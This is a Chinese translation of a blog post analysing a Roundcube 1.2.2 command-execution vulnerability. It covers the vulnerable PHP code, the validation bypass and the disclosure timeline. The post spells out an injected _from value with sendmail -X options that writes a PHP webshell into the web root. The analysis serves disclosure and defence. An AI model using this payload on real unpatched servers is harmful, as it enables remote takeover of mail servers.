Roundcube v1.2.2命令执行漏洞分析

本文翻译自https://blog.ripstech.com/2016/roundcube-command-execution-via-email/ ,有部分删改。

0x00.前言

Roundcube是一个在全球范围内被广泛使用的开源网络邮件程序。例如,SourceForge上的镜像在过去12个月中的下载量就超过26万,这也只是当今用户群体中的一小部分。Roundcube提供了人性化的Web界面,以便已认证用户通过Web浏览器发送和接收电子邮件。

在这篇文章中,我们将会分析恶意用户如何通过Roundcube 1.2.2(> = 1.0)发送一封电子邮件就可在远程操作系统上执行任意命令。由于所有使用默认安装方式安装的Roundcube都会受到影响,因此此漏洞具有极高的危害性。我们建议大家尽快将Roundcube升级到最新版本1.2.3。

以上两图是RIPS完整扫描Roundcube应用程序后的结果,其中很多问题代码其实是安装代码的一部分或历史遗留代码。因此这些问题看起来都不是很严重,但无论如何,RIPS也建议修复这些漏洞和删除遗留代码,以防止以后这些代码被不安全的调用或与其他安全漏洞形成漏洞组合。

上述代码分析结果可以在我们的在线demo程序中获得https://demo.ripstech.com/project/10/,但是,但是为了确保大家都能及时获知这个漏洞的修复方案,我们在分析结果中仅展示了本文所述漏洞。

0x01.漏洞利用条件

  • Roundcube必须配置为使用PHP的mail()函数(如果安装时没有对SMTP进行特殊设置,默认满足)
  • PHP的mail()函数配置为sendmail(默认满足,请参阅sendmail_path)
  • php.ini中关闭safe_mode(默认满足,请参见safe_mode)
  • 攻击者必须知道或能够猜测出web根目录的绝对路径 这些要求不是特别苛刻,因此意味着在整个网络空间中存在很多有潜在危害的主机。

0x02.漏洞描述

在Roundcube 1.2.2及更早版本中,用户可控的输入变量没有经过安全检查就传递到了PHP内置的高风险函数mail()的第五个参数上,此参数允许传递另外的参数到sendmail程序里执行。同时sendmail提供了-X选项以便将所有邮件记录在文件中,因此攻击者可以利用此选项,并在被攻击的服务器的网站根目录中生成一个恶意PHP文件。 以下是存在漏洞的代码:

路径:program/steps/mail/sendmail.inc

90 $from = rcube_utils::get_input_value(’_from’, rcube_utils::INPUT_POST, true, $message_charset);
91 ⋮
92 $sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);

字段_from的值从用户输入处获得后传入$from变量,并在deliver_message()函数中被调用。

跟进deliver_message()函数:

路径:program/lib/Roundcube/rcube.php

1578 public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
1579 ⋮
1580 if (filter_var(ini_get(‘safe_mode’), FILTER_VALIDATE_BOOLEAN))
1581 $sent = mail($to, $subject, $msg_body, $header_str);
1582 else
1583 $sent = mail($to, $subject, $msg_body, $header_str, “-f$from”);

该函数将$from变量传递给mail()函数。目的是通过-f选项将自定义的邮件from头字段传递到sendmail程序中。

0x03.不充分的变量检查

代码预先用正则表达式对电子邮件地址进行了过滤。$from参数被限制包含空格,这就使得不太可能在-f参数后面附加其他参数。因此使用空白常量如$IFS(注:$IFS指域分隔符,包括空格、Tab、换行)或注入新的shell命令(译者认为原文作者在这里误打了一个反引号,也或许我理解有误)在这里就会失效。然而,这里存在使得变量检查方法失效的逻辑缺陷。

路径:program/steps/mail/sendmail.inc

104 else if ($from_string = rcmail_email_input_format($from)) {
105 if (preg_match(‘/(\S+@\S+)/‘, $from_string, $m))
106 $from = trim($m1, ‘<>‘);
107 else
108 $from = null;
109 }

第105行中,函数从不包含空格的变量$from中匹配电子邮件地址。但是,仅当rcmail_email_input_format()函数返回TRUE时,才会执行这句代码。

跟进rcmail_email_input_format()函数:

路径:program/steps/mail/sendmail.inc

850 function rcmail_email_input_format($mailto, $count=false, $check=true)
851 {
852 global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
853 // simplified email regexp, supporting quoted local part
854 $email_regexp = ‘(\S+|(”[^“]+”))@\S+‘;
855 ⋮
856 // replace new lines and strip ending ‘, ‘, make address input more valid
857 $mailto = trim(preg_replace($regexp, $replace, $mailto));
858 $items  = rcube_utils::explode_quoted_string($delim, $mailto);
859 $result = array();
860 foreach ($items as $item) {
861 $item = trim($item);
862 // address in brackets without name (do nothing)
863 if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) {
864 $item = rcube_utils::idn_to_ascii(trim($item, ‘<>‘));
865 $result[] = $item;
866 }
867 ⋮
868 else if (trim($item)) {
869 continue;
870 }
871 ⋮
872 }
873 if ($count) {
874 $RECIPIENT_COUNT += count($result);
875 }
876 return implode(‘, ‘, $result);
877 }

我们看到,该函数在第863行中使用了一个正则表达式使得程序只能够匹配到两个尖括号里的内容。但是我们的payload只要不去满足这个正则表达式,程序执行就会进入868行的else if语句,因此数组$result将在foreach循环后保持为空值。接下来,876行中的implode()函数将返回一个空字符串(等于FALSE),这样程序执行就跳过了104行中的else if语句,$from变量顺利逃过了105行的正则表达式检查

0x04.漏洞证明

当恶意用户使用Roundcube发送电子邮件时,可以按照如下代码修改http请求中的_from参数:

example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php

带有上述参数的请求允许攻击者在web根目录中生成一个webshell文件rce.php,而rce.php包含_subject参数的内容,同时_subject参数也能够包含PHP代码。

所以执行请求后,将创建包含以下内容的文件:


04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: 
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<<  format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<< 
04731 <<< Funny e-mail message
04731 <<< [EOF]

由于电子邮件数据未经编码,因此subject字段将以纯文本形式存放,这就允许将PHP标签写入到shell文件中。

0x05.漏洞Timeline

2016/11/21
向Roundcube团队报告此漏洞

2016/11/22
Roundcube团队在github上修复此漏洞

2016/11/28
Roundcube团队同意披露此漏洞

2016/11/28
Roundcube团队发布Roundcube 1.2.3版本

0x06.漏洞总结

Roundcube 1.2.2版本已经可以抵御来自网络上的大部分攻击向量,许多人也为了提高它的安全性做了大量工作,并且由于这篇文章中描述的漏洞非常少见,因此有非常大的可能性会被大家忽视掉。但是如果我们借助自动化代码审计,不仅可以检测到这种比较少见的漏洞,而且还可以节省大量人力,从而让大家有更多的精力去关注一个安全可靠的Web应用程序开发过程中的其他方面。

最后,我们由衷的感谢Roundcube团队仅用一天就快速修复了此漏洞,并且新版本仅仅一周后就已发布,这是一种非常专业的对待自家产品安全隐患的响应态度,令人印象深刻。 ​

scan qrcode,share this post

Author: Wester

Read more posts by this author.


最近的文章

e107 CMS <=2.1.2 权限提升漏洞分析

原文链接: http://bobao.360.cn/learning/detail/3368.html 0x00.漏洞背景 e107 CMS是一个基于PHP、Bootstrap、Mysql的网站内容管…

Tag: Vuls AnalysisRead more


更早的文章

小议威胁情报feed

0x00.前言 威胁情报最近几年日趋火爆,那么它到底是什么呢以及主要应用场景在哪儿,而如何自动化的为企业提供威胁情报,以达到快速的应急响应和防范。本文接下来就主要分析威胁情报feed的收集数据、来源以…

Tag: Threat booksRead more
comments powered by Disqus